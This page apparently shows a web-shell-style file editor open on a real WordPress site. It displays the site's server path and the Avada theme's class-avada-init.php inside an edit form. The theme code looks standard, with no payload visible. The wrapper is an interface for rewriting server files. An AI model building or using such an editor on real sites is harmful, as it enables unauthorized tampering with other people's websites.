<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-content/themes/Avada/includes/class-avada-init.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-content/themes/Avada/includes/class-avada-init.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Initializes Avada basic components.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @subpackage Core
 * @since      3.8
 */

// Do not allow directly accessing this file.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit( &#039;Direct script access denied.&#039; );
}

/**
 * Initializes Avada basic components.
 */
class Avada_Init {

	/**
	 * Constructor.
	 *
	 * @access  public
	 */
	public function __construct() {
		add_action( &#039;after_setup_theme&#039;, [ $this, &#039;set_builder_status&#039; ], 10 );
		add_action( &#039;after_setup_theme&#039;, [ $this, &#039;add_theme_supports&#039; ], 10 );
		add_action( &#039;after_setup_theme&#039;, [ $this, &#039;register_nav_menus&#039; ] );
		add_action( &#039;after_setup_theme&#039;, [ $this, &#039;add_image_size&#039; ] );
		add_filter( &#039;image_size_names_choose&#039;, [ $this, &#039;add_image_sizes_to_media_library_dialog&#039; ] );
		add_action( &#039;init&#039;, [ $this, &#039;init&#039; ] );

		if ( class_exists( &#039;BuddyPress&#039; ) &amp;&amp; ! Fusion_Helper::is_buddypress() ) {
			add_action( &#039;init&#039;, [ $this, &#039;remove_buddypress_redirection&#039; ], 5 );
		}

		if ( class_exists( &#039;Convert_Plug&#039; ) ) {
			add_action( &#039;init&#039;, [ $this, &#039;remove_convert_plus_notices&#039; ] );
		}

		if ( class_exists( &#039;GF_User_Registration_Bootstrap&#039; ) ) {
			add_action( &#039;init&#039;, [ $this, &#039;change_gravity_user_registration_priority&#039; ] );
		}

		// Init FPO for Event Espresso plugin.
		if ( class_exists( &#039;EE_Calendar&#039; ) ) {
			add_filter( &#039;fusion_page_options_init&#039;, [ $this, &#039;init_fusion_page_option_for_event_espresso&#039; ] );
		}

		// Allow shortcodes in widget text.
		add_filter( &#039;widget_text&#039;, &#039;do_shortcode&#039; );

		add_filter( &#039;wp_nav_menu_args&#039;, [ $this, &#039;main_menu_args&#039; ], 5 );
		add_action( &#039;after_switch_theme&#039;, [ $this, &#039;theme_activation&#039; ] );
		add_action( &#039;switch_theme&#039;, [ $this, &#039;theme_deactivation&#039; ] );

		// Term meta migration for WordPress 4.4.
		remove_action( &#039;wp_head&#039;, &#039;adjacent_posts_rel_link_wp_head&#039; );

		// Remove post_format from preview link.
		add_filter( &#039;preview_post_link&#039;, [ $this, &#039;remove_post_format_from_link&#039; ], 9999 );

		add_filter( &#039;wp_tag_cloud&#039;, [ $this, &#039;remove_font_size_from_tagcloud&#039; ] );

		// Add contact methods for author page.
		add_filter( &#039;user_contactmethods&#039;, [ $this, &#039;modify_contact_methods&#039; ] );

		add_filter( &#039;wpcf7_form_response_output&#039;, [ $this, &#039;modify_wpcf7_notices&#039; ], 10, 4 );

		if ( ! is_admin() ) {
			add_filter( &#039;pre_get_posts&#039;, [ $this, &#039;modify_search_filter&#039; ] );
			add_filter( &#039;posts_search&#039;, [ $this, &#039;add_woo_product_sku_search&#039; ], 510, 2 );
			add_filter( &#039;pre_get_posts&#039;, [ $this, &#039;empty_search_filter&#039; ] );
			add_filter( &#039;posts_search&#039;, [ $this, &#039;limit_search_to_title_only&#039; ], 500, 2 );
			add_filter( &#039;search_form_after_fields&#039;, [ $this, &#039;force_product_archive_load&#039; ] );
		}

		// Check if we&#039;ve got a task to remove backup data.
		if ( false !== get_option( &#039;scheduled_avada_fusionbuilder_migration_cleanups&#039;, false ) ) {
			add_action( &#039;init&#039;, [ &#039;Fusion_Builder_Migrate&#039;, &#039;cleanup_backups&#039; ] );
		}

		add_action( &#039;wp_footer&#039;, [ $this, &#039;add_wp_footer_scripts&#039; ], 9999 );

		// Live Search.
		add_action( &#039;wp_ajax_live_search_retrieve_posts&#039;, [ $this, &#039;live_search_retrieve_posts&#039; ] );
		add_action( &#039;wp_ajax_nopriv_live_search_retrieve_posts&#039;, [ $this, &#039;live_search_retrieve_posts&#039; ] );

		add_filter( &#039;fusion_google_maps_api_key&#039;, &#039;normalize_whitespace&#039; );

		
	}

	/**
	 * Formats the locale.
	 *
	 * @access  public
	 * @param  string $locale The language locale.
	 * @param  string $domain The textdomain.
	 * @return  string
	 */
	public function change_locale( $locale, $domain ) {
		return $domain . &#039;-&#039; . $locale;
	}

	/**
	 * Formats the locale using lowercase characters.
	 *
	 * @access  public
	 * @param  string $locale The language locale.
	 * @param  string $domain The textdomain.
	 * @return  string
	 */
	public function change_locale_lowercase( $locale, $domain ) {
		return strtolower( $domain ) . &#039;-&#039; . $locale;
	}

	/**
	 * Conditionally add theme_support for fusion_builder.
	 *
	 * @access  public
	 */
	public function set_builder_status() {
		$builder_settings = get_option( &#039;fusion_builder_settings&#039;, [] );

		if ( isset( $builder_settings[&#039;enable_builder_ui&#039;] ) &amp;&amp; $builder_settings[&#039;enable_builder_ui&#039;] ) {
			add_theme_support( &#039;fusion_builder&#039; );
		}
	}

	/**
	 * Stores the theme version in the options table in the WordPress database.
	 *
	 * @access  public
	 */
	public function set_theme_version() {
		if ( function_exists( &#039;wp_get_theme&#039; ) ) {
			$theme_obj     = wp_get_theme();
			$theme_version = $theme_obj-&gt;get( &#039;Version&#039; );

			if ( $theme_obj-&gt;parent_theme ) {
				$template_dir  = basename( Avada::$template_dir_path );
				$theme_obj     = wp_get_theme( $template_dir );
				$theme_version = $theme_obj-&gt;get( &#039;Version&#039; );
			}

			update_option( &#039;avada_theme_version&#039;, $theme_version );
		}

	}

	/**
	 * Additional actions that need to run on init.
	 *
	 * @access public
	 * @since 6.0
	 */
	public function init() {
		Avada::get_options();
	}

	/**
	 * Add theme_supports.
	 *
	 * @since 1.0
	 * @access  public
	 * @return void
	 */
	public function add_theme_supports() {

		// Default WP generated title support.
		add_theme_support( &#039;title-tag&#039; );

		// Default RSS feed links.
		add_theme_support( &#039;automatic-feed-links&#039; );

		// Default custom header.
		add_theme_support( &#039;custom-header&#039; );

		// Default custom backgrounds.
		add_theme_support( &#039;custom-background&#039; );

		/**
		 * WooCommerce Support.
		 * Add theme support for zoom and lightbox generally.
		 * For legacy layouts it is disabled in class-avada-woocommerce.php.
		 * For layout section products it is in class-fusion-woocommerce.php and in the element file.
		 */
		add_theme_support(
			&#039;woocommerce&#039;,
			[
				&#039;gallery_thumbnail_image_width&#039; =&gt; (int) Avada()-&gt;settings-&gt;get( &#039;woocommerce_gallery_thumbnail_width&#039; ),
			]
		);

		add_theme_support( &#039;wc-product-gallery-zoom&#039; );
		add_theme_support( &#039;wc-product-gallery-slider&#039; );
		add_theme_support( &#039;wc-product-gallery-lightbox&#039; );

		// Post Formats.
		add_theme_support( &#039;post-formats&#039;, [ &#039;gallery&#039;, &#039;link&#039;, &#039;image&#039;, &#039;quote&#039;, &#039;video&#039;, &#039;audio&#039;, &#039;chat&#039; ] );
		// Add post thumbnail functionality.
		add_theme_support( &#039;post-thumbnails&#039; );

		// Add Avada Builder Demos support.
		add_theme_support( &#039;fusion-builder-demos&#039; );

	}

	/**
	 * Add image sizes.
	 *
	 * @since 1.0
	 * @access  public
	 * @return void.
	 */
	public function add_image_size() {
		$available_image_size = Avada()-&gt;settings-&gt;get( &#039;awb_image_sizes&#039; );

		$image_sizes = [
			&#039;blog-large&#039;             =&gt; [ 669, 272, true ],
			&#039;blog-medium&#039;            =&gt; [ 320, 202, true ],
			&#039;recent-posts&#039;           =&gt; [ 700, 441, true ],
			&#039;recent-works-thumbnail&#039; =&gt; [ 66, 66, true ],
			&#039;fusion-200&#039;             =&gt; [ 200, &#039;&#039;, false ],
			&#039;fusion-400&#039;             =&gt; [ 400, &#039;&#039;, false ],
			&#039;fusion-600&#039;             =&gt; [ 600, &#039;&#039;, false ],
			&#039;fusion-800&#039;             =&gt; [ 800, &#039;&#039;, false ],
			&#039;fusion-1200&#039;            =&gt; [ 1200, &#039;&#039;, false ],
		];

		foreach ( $image_sizes as $size =&gt; $params ) {
			if ( ! is_array( $available_image_size ) || in_array( $size, $available_image_size ) ) {
				add_image_size( $size, $params[0], $params[1], $params[2] );
			}
		}
	}

	/**
	 * Add image sizes to WP Media Library Dialog.
	 *
	 * @since 5.3
	 * @access public
	 * @param array $sizes The image sizes already in the WP Meida Library Dialog.
	 * @return array Image sizes for WP Media Library Dialog.
	 */
	public function add_image_sizes_to_media_library_dialog( $sizes ) {
		/* translators: image size. */
		$sizes[&#039;fusion-200&#039;] = sprintf( esc_attr__( &#039;Avada Grid %s&#039;, &#039;Avada&#039; ), 200 );
		/* translators: image size. */
		$sizes[&#039;fusion-400&#039;] = sprintf( esc_attr__( &#039;Avada Grid %s&#039;, &#039;Avada&#039; ), 400 );
		/* translators: image size. */
		$sizes[&#039;fusion-600&#039;] = sprintf( esc_attr__( &#039;Avada Grid %s&#039;, &#039;Avada&#039; ), 600 );
		/* translators: image size. */
		$sizes[&#039;fusion-800&#039;] = sprintf( esc_attr__( &#039;Avada Grid %s&#039;, &#039;Avada&#039; ), 800 );
		/* translators: image size. */
		$sizes[&#039;fusion-1200&#039;] = sprintf( esc_attr__( &#039;Avada Grid %s&#039;, &#039;Avada&#039; ), 1200 );

		return $sizes;
	}

	/**
	 * Register navigation menus.
	 *
	 * @access  public
	 */
	public function register_nav_menus() {

		register_nav_menu( &#039;main_navigation&#039;, &#039;Main Navigation&#039; );
		register_nav_menu( &#039;top_navigation&#039;, &#039;Top Navigation&#039; );
		register_nav_menu( &#039;mobile_navigation&#039;, &#039;Mobile Navigation&#039; );
		register_nav_menu( &#039;404_pages&#039;, &#039;404 Useful Pages&#039; );
		register_nav_menu( &#039;sticky_navigation&#039;, &#039;Sticky Header Navigation&#039; );

	}

	/**
	 * Theme activation actions.
	 *
	 * @access  public
	 */
	public function theme_activation() {

		update_option(
			&#039;shop_catalog_image_size&#039;,
			[
				&#039;width&#039;  =&gt; 500,
				&#039;height&#039; =&gt; &#039;&#039;,
				0,
			]
		);
		update_option(
			&#039;shop_single_image_size&#039;,
			[
				&#039;width&#039;  =&gt; 700,
				&#039;height&#039; =&gt; &#039;&#039;,
				0,
			]
		);
		update_option(
			&#039;shop_thumbnail_image_size&#039;,
			[
				&#039;width&#039;  =&gt; 120,
				&#039;height&#039; =&gt; &#039;&#039;,
				0,
			]
		);

		update_option( &#039;woocommerce_single_image_width&#039;, 700 );
		update_option( &#039;woocommerce_thumbnail_image_width&#039;, 500 );
		update_option( &#039;woocommerce_thumbnail_cropping&#039;, &#039;uncropped&#039; );

		// Delete the patcher caches.
		delete_site_transient( &#039;fusion_patcher_check_num&#039; );
		// Delete compiled JS.
		fusion_reset_all_caches();

	}

	/**
	 * Theme activation actions.
	 *
	 * @access  public
	 */
	public function theme_deactivation() {

		// Delete the patcher caches.
		delete_site_transient( &#039;fusion_patcher_check_num&#039; );
		// Delete compiled JS.
		fusion_reset_all_caches();

	}

	/**
	 * WIP
	public function migrate_term_data() {
		$version = get_bloginfo( &#039;version&#039; );
		$function_test = function_exists( &#039;add_term_meta&#039; );
		if ( version_compare( $version, &#039;4.4&#039;, &#039;&gt;=&#039; ) &amp;&amp; ! $function_test ) {}
	}
	 */

	/**
	 * Get the main menu arguments.
	 *
	 * @access public
	 * @param  array $args The arguments.
	 * @return  array The arguments modified.
	 */
	public function main_menu_args( $args ) {

		global $post;

		$c_page_id = Avada()-&gt;fusion_library-&gt;get_page_id();

		if ( fusion_get_page_option( &#039;displayed_menu&#039;, $c_page_id ) &amp;&amp;
			&#039;default&#039; !== fusion_get_page_option( &#039;displayed_menu&#039;, $c_page_id ) &amp;&amp;
			( &#039;main_navigation&#039; === $args[&#039;theme_location&#039;] || &#039;sticky_navigation&#039; === $args[&#039;theme_location&#039;] )
		) {
			$menu         = fusion_get_page_option( &#039;displayed_menu&#039;, $c_page_id );
			$args[&#039;menu&#039;] = $menu;
		}

		return $args;

	}

	/**
	 * Inject some HTML to fix a youtube flash bug.
	 *
	 * @access  public
	 */
	public function youtube_flash_fix() {
		echo &#039;&lt;div class=&quot;fusion-youtube-flash-fix&quot;&gt;&amp;shy;&lt;style type=&quot;text/css&quot;&gt; iframe { visibility: hidden; opacity: 0; } &lt;/style&gt;&lt;/div&gt;&#039;;
	}

	/**
	 * Removes the post format from links.
	 *
	 * @access  public
	 * @param  string $url The URL to process.
	 * @return  string The URL with post_format stripped.
	 */
	public function remove_post_format_from_link( $url ) {
		$url = remove_query_arg( &#039;post_format&#039;, $url );
		return $url;
	}

	/**
	 * Removes font-sizes from the tagclouds.
	 *
	 * @param string $tagcloud The markup of tagclouds.
	 * @return string
	 */
	public function remove_font_size_from_tagcloud( $tagcloud ) {
		return preg_replace( &#039;/ style=([&quot;\&#039;])[^\1]*?\1/i&#039;, &#039;&#039;, $tagcloud, -1 );
	}

	/**
	 * Modifies user contact methods and adds some more social networks.
	 *
	 * @param array $profile_fields The profile fields.
	 * @return array The profile fields with additional contact methods.
	 */
	public function modify_contact_methods( $profile_fields ) {
		// Add new fields.
		$profile_fields[&#039;author_email&#039;]    = &#039;Email (Author Page)&#039;;
		$profile_fields[&#039;author_facebook&#039;] = &#039;Facebook (Author Page)&#039;;
		$profile_fields[&#039;author_twitter&#039;]  = &#039;X (Author Page)&#039;;
		$profile_fields[&#039;author_linkedin&#039;] = &#039;LinkedIn (Author Page)&#039;;
		$profile_fields[&#039;author_dribble&#039;]  = &#039;Dribble (Author Page)&#039;;
		$profile_fields[&#039;author_whatsapp&#039;] = &#039;WhatsApp (Author Page)&#039;;
		$profile_fields[&#039;author_custom&#039;]   = &#039;Custom Message (Author Page)&#039;;

		return $profile_fields;
	}

	/**
	 * Modifies the HTML for WPCF7 notices.
	 *
	 * @access public
	 * @since 5.5
	 * @param string            $output              The HTML.
	 * @param string            $class               The CSS classes that will be added to the element.
	 * @param string            $content             The notice content.
	 * @param WPCF7_ContactForm $contact_form_object An instance of the WPCF7_ContactForm object.
	 * @return string                                Notice HTML.
	 */
	public function modify_wpcf7_notices( $output, $class, $content, $contact_form_object ) {
		if ( shortcode_exists( &#039;fusion_alert&#039; ) ) {
			return do_shortcode( &#039;[fusion_alert class=&quot;&#039; . $class . &#039;&quot; type=&quot;custom&quot;]&#039; . $content . &#039;[/fusion_alert]&#039; );
		}
		return $output;
	}

	/**
	 * Removes the BuddyPress redirection actions.
	 *
	 * @access public
	 */
	public function remove_buddypress_redirection() {
		remove_action( &#039;bp_init&#039;, &#039;bp_core_wpsignup_redirect&#039; );
	}

	/**
	 * Removes admin notices from Convert Plus plugin.
	 *
	 * @since 5.4.1
	 * @access public
	 * @return void
	 */
	public function remove_convert_plus_notices() {
		if ( ! defined( &#039;BSF_PRODUCTS_NOTICES&#039; ) ) {
			define( &#039;BSF_PRODUCTS_NOTICES&#039;, false );
		}
	}

	/**
	 * Changes the hook priority of the GF_User_Registration-&gt;maybe_activate_user() function.
	 *
	 * @since 5.1
	 * @access public
	 * @return void
	 */
	public function change_gravity_user_registration_priority() {
		remove_action( &#039;wp&#039;, [ gf_user_registration(), &#039;maybe_activate_user&#039; ] );
		add_action( &#039;wp&#039;, [ gf_user_registration(), &#039;maybe_activate_user&#039; ], 999 );
	}

	/**
	 * Adds needed argument to FPO loading if clause, so that options will be displayed on Events Espresso pages.
	 *
	 * @since 5.4.2
	 * @access public
	 * @param bool $additional_argument Additional argument.
	 * @return bool
	 */
	public function init_fusion_page_option_for_event_espresso( $additional_argument ) {
		global $pagenow;

		$additional_argument = &#039;admin.php&#039; === $pagenow &amp;&amp; isset( $_GET[&#039;page&#039;] ) &amp;&amp; &#039;espresso_events&#039; === $_GET[&#039;page&#039;] &amp;&amp; isset( $_GET[&#039;action&#039;] ) &amp;&amp; &#039;edit&#039; === $_GET[&#039;action&#039;] &amp;&amp; isset( $_GET[&#039;post&#039;] ); // phpcs:ignore WordPress.Security.NonceVerification

		return $additional_argument;
	}

	/**
	 * Performs the live search for posts.
	 *
	 * @since 5.9
	 * @access public
	 * @return void.
	 */
	public function live_search_retrieve_posts() {
		if ( isset( $_POST[&#039;post_type&#039;] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
			if ( 1 === count( $_POST[&#039;post_type&#039;] ) &amp;&amp; isset( $_POST[&#039;post_type&#039;][0] ) &amp;&amp; &#039;any&#039; === $_POST[&#039;post_type&#039;][0] ) { // phpcs:ignore WordPress.Security.NonceVerification
				$post_types = &#039;any&#039;;
			} else {
				$post_types = $_POST[&#039;post_type&#039;]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification
			}
		} else {
			$post_types = $this-&gt;get_search_results_post_types();
		}

		$args = [
			&#039;s&#039;                   =&gt; trim( strip_tags( $_POST[&#039;search&#039;] ) ), // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification, WordPress.WP.AlternativeFunctions
			&#039;post_type&#039;           =&gt; $post_types,
			&#039;posts_per_page&#039;      =&gt; isset( $_POST[&#039;per_page&#039;] ) ? (int) wp_unslash( $_POST[&#039;per_page&#039;] ) : 10, // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput, WPThemeReview.CoreFunctionality.PostsPerPage.posts_per_page_posts_per_page, WordPress.WP.PostsPerPage.posts_per_page_posts_per_page
			&#039;post_status&#039;         =&gt; &#039;publish&#039;,
			&#039;ignore_sticky_posts&#039; =&gt; 1,
		];

		if ( function_exists( &#039;wc_get_product_visibility_term_ids&#039; ) &amp;&amp; ( &#039;any&#039; === $args[&#039;post_type&#039;] || ( is_array( $args[&#039;post_type&#039;] ) &amp;&amp; in_array( &#039;product&#039;, $args[&#039;post_type&#039;] ) ) ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
			$product_visibility_term_ids = wc_get_product_visibility_term_ids();

			$args[&#039;tax_query&#039;]   = []; // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_tax_query
			$args[&#039;tax_query&#039;][] = [
				&#039;taxonomy&#039; =&gt; &#039;product_visibility&#039;,
				&#039;field&#039;    =&gt; &#039;term_taxonomy_id&#039;,
				&#039;terms&#039;    =&gt; $product_visibility_term_ids[&#039;exclude-from-search&#039;],
				&#039;operator&#039; =&gt; &#039;NOT IN&#039;,
			];
		}

		$args = apply_filters( &#039;fusion_live_search_query_args&#039;, $args );

		$search_limit_to_post_titles = isset( $_POST[&#039;search_limit_to_post_titles&#039;] ) ? $_POST[&#039;search_limit_to_post_titles&#039;] : Avada()-&gt;settings-&gt;get( &#039;search_limit_to_post_titles&#039; ); // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput

		if ( $search_limit_to_post_titles ) {
			add_filter( &#039;posts_where&#039;, [ $this, &#039;limit_wp_query_to_title_only&#039; ], 10, 2 );
			$search_results = fusion_cached_query( $args );
			remove_filter( &#039;posts_where&#039;, [ $this, &#039;limit_wp_query_to_title_only&#039; ] );
		} else {
			$search_results = fusion_cached_query( $args );
		}

		$display_post_type      = isset( $_POST[&#039;display_post_type&#039;] ) ? (bool) wp_unslash( $_POST[&#039;display_post_type&#039;] ) : true; // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput
		$display_featured_image = isset( $_POST[&#039;show_feat_img&#039;] ) ? (bool) wp_unslash( $_POST[&#039;show_feat_img&#039;] ) : true; // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput		
		$result_suggestions     = [];

		// Add WooCommerce product SKU search.
		$add_woo_product_skus = isset( $_POST[&#039;add_woo_product_skus&#039;] ) ? $_POST[&#039;add_woo_product_skus&#039;] : Avada()-&gt;settings-&gt;get( &#039;search_add_woo_product_skus&#039; ); // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput
		if ( class_exists( &#039;WooCommerce&#039; )  &amp;&amp; ( &#039;any&#039; === $args[&#039;post_type&#039;] || ( is_array( $args[&#039;post_type&#039;] ) &amp;&amp; in_array( &#039;product&#039;, $args[&#039;post_type&#039;] ) ) ) &amp;&amp; &#039;1&#039; === $add_woo_product_skus ) {
			$product_id = wc_get_product_id_by_sku( $args[&#039;s&#039;] );
				
			if ( $product_id ) {
				$product = wc_get_product( $product_id );

				if ( is_object( $product ) &amp;&amp; $product-&gt;is_type( &#039;variation&#039; ) ) {
					$product_id = $product-&gt;get_parent_id();
				}

				$post_type = &#039;&#039;;
				if ( $display_post_type ) {
					$post_type_obj = get_post_type_object( get_post_type( $product_id ) );
					$post_type     = ( $post_type_obj ) ? $post_type_obj-&gt;labels-&gt;singular_name : $post_type;
				}				
			
				$result_suggestions[] = [
					&#039;id&#039;        =&gt; esc_attr( $product_id ),
					&#039;type&#039;      =&gt; $post_type,
					&#039;title&#039;     =&gt; get_the_title( $product_id ),
					&#039;post_url&#039;  =&gt; get_the_permalink( $product_id ),
					&#039;image_url&#039; =&gt; $display_featured_image ? get_the_post_thumbnail_url( $product_id, &#039;recent-works-thumbnail&#039; ) : &#039;&#039;,
				];

			}
		}

		if ( $search_results-&gt;have_posts() ) {
			while ( $search_results-&gt;have_posts() ) {
				$search_results-&gt;the_post();
				global $post;

				$post_type = &#039;&#039;;
				if ( $display_post_type ) {
					$post_type_obj = get_post_type_object( get_post_type( $post-&gt;ID ) );
					$post_type     = ( $post_type_obj ) ? $post_type_obj-&gt;labels-&gt;singular_name : $post_type;
				}

				$result_suggestions[] = [
					&#039;id&#039;        =&gt; esc_attr( $post-&gt;ID ),
					&#039;type&#039;      =&gt; $post_type,
					&#039;title&#039;     =&gt; get_the_title( $post-&gt;ID ),
					&#039;post_url&#039;  =&gt; get_the_permalink( $post-&gt;ID ),
					&#039;image_url&#039; =&gt; $display_featured_image ? get_the_post_thumbnail_url( $post-&gt;ID, &#039;recent-works-thumbnail&#039; ) : &#039;&#039;,
				];
			}
		}

		wp_reset_postdata();

		wp_send_json( $result_suggestions );
	}

	/**
	 * Modifies the WP_Query SQL query to limit to post titles.
	 *
	 * @since 5.9
	 * @access public
	 * @param string $where    Search SQL for WHERE clause.
	 * @param object $wp_query The search query.
	 * @return string $where   The modified clause.
	 */
	public function limit_wp_query_to_title_only( $where, $wp_query ) {
		global $wpdb;

		$query_vars = $wp_query-&gt;query_vars;
		$title      = $wp_query-&gt;get( &#039;s&#039; );
		if ( $title ) {
			$where .= &#039; AND &#039; . $wpdb-&gt;posts . &#039;.post_title LIKE \&#039;%&#039; . esc_sql( $wpdb-&gt;esc_like( $title ) ) . &#039;%\&#039;&#039;;
		}

		return $where;
	}

	/**
	 * Modifies the search SQL query to limit to post titles.
	 *
	 * @since 5.9
	 * @access public
	 * @param string $search   Search SQL for WHERE clause.
	 * @param object $wp_query The search query.
	 * @return string $where The modified clause.
	 */
	public function limit_search_to_title_only( $search, $wp_query ) {
		global $wpdb;

		$search_limit_to_post_titles = Avada()-&gt;settings-&gt;get( &#039;search_limit_to_post_titles&#039; );

		// If there&#039;s an URL override replace the settings value.
		if ( isset( $_GET[&#039;search_limit_to_post_titles&#039;] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
			$search_limit_to_post_titles = $_GET[&#039;search_limit_to_post_titles&#039;]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification
		}

		// If there is no search term, skip process.
		if ( empty( $search ) || ! $search_limit_to_post_titles ) {
			return $search;
		}
		$query_vars = $wp_query-&gt;query_vars;
		$n          = ! empty( $query_vars[&#039;exact&#039;] ) ? &#039;&#039; : &#039;%&#039;;
		$search     = &#039;&#039;;
		$searchand  = &#039;&#039;;
		
		foreach ( (array) $query_vars[&#039;search_terms&#039;] as $term ) {
			$term      = esc_sql( $wpdb-&gt;esc_like( $term ) );
			$search   .= &quot;{$searchand}($wpdb-&gt;posts.post_title LIKE &#039;{$n}{$term}{$n}&#039;)&quot;;
			$searchand = &#039; AND &#039;;
		}

		if ( ! empty( $search ) ) {
			$search = &quot; AND (({$search})) &quot;;

			if ( ! is_user_logged_in() ) {
				$search .= &quot; AND ($wpdb-&gt;posts.post_password = &#039;&#039;) &quot;;
			}
		}

		return $search;
	}

	/**
	 * Modifies the search SQL query to add WooCommerce product SKUs.
	 *
	 * @since 7.11.14
	 * @access public
	 * @param string $search   Search SQL for WHERE clause.
	 * @param object $wp_query The search query.
	 * @return string $where The modified clause.
	 */	
	public function add_woo_product_sku_search( $search, $query ) {
		global $wpdb;

		$search_results_post_types = $this-&gt;get_search_results_post_types();

		$add_woo_product_skus = Avada()-&gt;settings-&gt;get( &#039;search_add_woo_product_skus&#039; );

		// If there&#039;s an URL override replace the settings value.
		if ( isset( $_GET[&#039;add_woo_product_skus&#039;] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
			$add_woo_product_skus = $_GET[&#039;add_woo_product_skus&#039;]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification
		}		

		if ( class_exists( &#039;WooCommerce&#039; ) &amp;&amp; is_search() &amp;&amp; $query-&gt;is_search &amp;&amp; ( ! empty( $query-&gt;query[&#039;s&#039;] ) ) &amp;&amp; &#039;1&#039; === $add_woo_product_skus &amp;&amp; ( ( is_array( $search_results_post_types ) &amp;&amp;  in_array( &#039;product&#039;, $search_results_post_types ) ) || &#039;any&#039; === $search_results_post_types ) ) {

			$product_id = wc_get_product_id_by_sku( $query-&gt;query_vars[&#039;s&#039;] );
			
			if ( $product_id ) {
				$product = wc_get_product( $product_id );

				if ( is_object( $product ) &amp;&amp; $product-&gt;is_type( &#039;variation&#039; ) ) {
					$product_id = $product-&gt;get_parent_id();
				}

				$search = str_replace( &#039;AND (((&#039;, &quot;AND (({$wpdb-&gt;posts}.ID IN (&quot; . $product_id . &quot;)) OR ((&quot;, $search );  
			}
		}

		return $search;   
	 }			

	/**
	 * Modifies the search filter.
	 *
	 * @access public
	 * @param object $query The search query.
	 * @return object $query The modified search query.
	 */
	public function modify_search_filter( $query ) {

		// Exclude REST API requests.
		if ( ( defined( &#039;REST_REQUEST&#039; ) &amp;&amp; REST_REQUEST ) ) {
			return $query;
		}

		if ( is_search() &amp;&amp; $query-&gt;is_search &amp;&amp; ( ! empty( $query-&gt;query[&#039;s&#039;] ) ) ) {
			if ( isset( $_GET ) &amp;&amp; ( 2 &lt; count( $_GET ) || ( 2 === count( $_GET ) &amp;&amp; ! isset( $_GET[&#039;lang&#039;] ) ) || isset( $_GET[&#039;tribe-bar-search&#039;] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification
				return $query;
			}

			$query-&gt;set( &#039;post_type&#039;, $this-&gt;get_search_results_post_types() );
		}

		return $query;
	}

	/**
	 *  Adds hidden input field when &#039;Search Results Content&#039; has only Products post type to force Woo archive load.
	 *
	 * @access public
	 * @since 7.2
	 * @param array $args Search form args.
	 * @return array
	 */
	public function force_product_archive_load( $args ) {
		$search_post_types = $this-&gt;get_search_results_post_types();
		if ( is_array( $search_post_types ) &amp;&amp; 1 === count( $search_post_types ) &amp;&amp; &#039;product&#039; === $search_post_types[0] ) {
			$args[&#039;after_fields&#039;] .= &#039;&lt;input type=&quot;hidden&quot; value=&quot;product&quot; name=&quot;post_type&quot; /&gt;&#039;;
		}
		return $args;
	}

	/**
	 * Make WordPress respect the search template on an empty search.
	 *
	 * @param  object $query The WP_Query object.
	 * @return  object
	 */
	public function empty_search_filter( $query ) {

		if ( isset( $_GET[&#039;s&#039;] ) &amp;&amp; empty( $_GET[&#039;s&#039;] ) &amp;&amp; $query-&gt;is_main_query() ) { // phpcs:ignore WordPress.Security.NonceVerification
			$query-&gt;is_search = true;
			$query-&gt;is_home   = false;
		}

		return $query;

	}

	/**
	 * Add scripts to the wp_footer action hook.
	 *
	 * @since 5.3.1
	 * @access public
	 * @return void.
	 */
	public function add_wp_footer_scripts() {
		/**
		 * Echo the scripts added to the &quot;before &lt;/body&gt;&quot; field in Global Options.
		 * The &#039;space_body&#039; setting is not sanitized.
		 * In order to be able to take advantage of this,
		 * a user would have to gain access to the database
		 * in which case this is the least of your worries.
		 */
		echo apply_filters( &#039;awb_space_body_close&#039;, Avada()-&gt;settings-&gt;get( &#039;space_body&#039; ) ); // phpcs:ignore WordPress.Security.EscapeOutput
	}

	/**
	 * Gets the post types for search results filtering.
	 *
	 * @since 5.9.1
	 * @access public
	 * @return array|string The post types the search should be limited to.
	 */
	public function get_search_results_post_types() {
		$search_post_types = Avada()-&gt;settings-&gt;get( &#039;search_content&#039; );

		if ( ! Avada()-&gt;settings-&gt;get( &#039;search_filter_results&#039; ) ) {
			$search_post_types = &#039;any&#039;;
		}

		return apply_filters( &#039;avada_search_results_post_types&#039;, $search_post_types );
	}

}

/* Omit closing PHP tag to avoid &quot;Headers already sent&quot; issues. */
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